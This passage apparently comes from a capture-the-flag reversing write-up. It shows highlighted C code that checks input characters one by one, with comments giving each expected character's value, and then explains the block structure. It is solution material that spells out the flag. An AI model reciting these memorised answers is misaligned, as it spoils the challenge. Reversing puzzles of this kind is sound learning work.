number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">125</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(170-10*7)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">10</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">7</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">170</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(112-10*6)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">10</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">6</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">112</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(153-17*3)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">17</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">153</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(95-11*4)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">11</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">4</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">95</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(143-23*2)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">23</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">143</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// </span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">23</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">118</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(155-19*3)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">19</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">155</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(155-6*5)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">6</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">5</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">155</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>Inside this code, blocks with the following structure are defined repeatedly.</p>\n<p>For each input character stored in <code class=\"language-text\">tape[ptr]</code>, it performs several operations and finally checks whether expressions such as <code class=\"language-text\">tape[ptr] -= 138;</code> end up as 0.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token comment\">// chr(138-3*11)</span>\ntape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\nptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\ntape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">11</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\nptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\nptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\ntape<span class=\"token 